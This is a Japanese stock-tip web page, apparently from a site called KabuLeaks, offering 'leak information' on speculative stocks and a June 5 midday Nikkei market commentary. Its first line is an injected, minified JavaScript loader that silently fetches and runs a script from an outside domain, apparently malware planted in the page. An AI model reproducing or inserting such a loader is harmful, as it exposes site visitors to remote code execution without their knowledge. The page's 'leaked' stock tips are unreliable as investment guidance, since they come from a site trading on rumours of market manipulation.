;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【6/5 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【6/5 前引け】

【5703】日本軽金属ホールディング 227円 -6 (-2.57%)

【3347】トラスト 327円 +9 (+2.83%)

【3639】ボルテージ 2,338円 -189 (-7.47%)

前場の日経平均株価は89円安と反落。前日の欧米株安を受け幅広い銘柄に利益確定売りが先行。一巡後は押し目買いも入るものの、5月の米雇用統計発表などを控え積極的な買いは続かず戻りは限定的となっている。業種別では、陸運、食料品、小売、空運が値上がり上位。一方、保険、その他金融、海運、鉄鋼、銀行などが値下がり上位となった。

個別では、日替わりでの出遅れ、割安株物色の流れからか【9687】KSKがストップ高。眼の健康寿命延伸に関する有識者会議開催での思惑から【3318】メガネスーパーが急伸したほか、前日に続き値動きの軽い中小型株の一角として【2323】fonfun。【3912】モバイルファクトリーなど4月のIPO銘柄の多数の銘柄が上昇しているのも目立つ。

後場は日銀によるETF買いの思惑あるもその影響は限定的か。週末要因、米雇用統計を控え引き続き様子見ムードとなる可能性が高い。中小型の出遅れ銘柄や直近IPO銘柄など。値幅取り中心の相場展開は後場も継続しそうだ。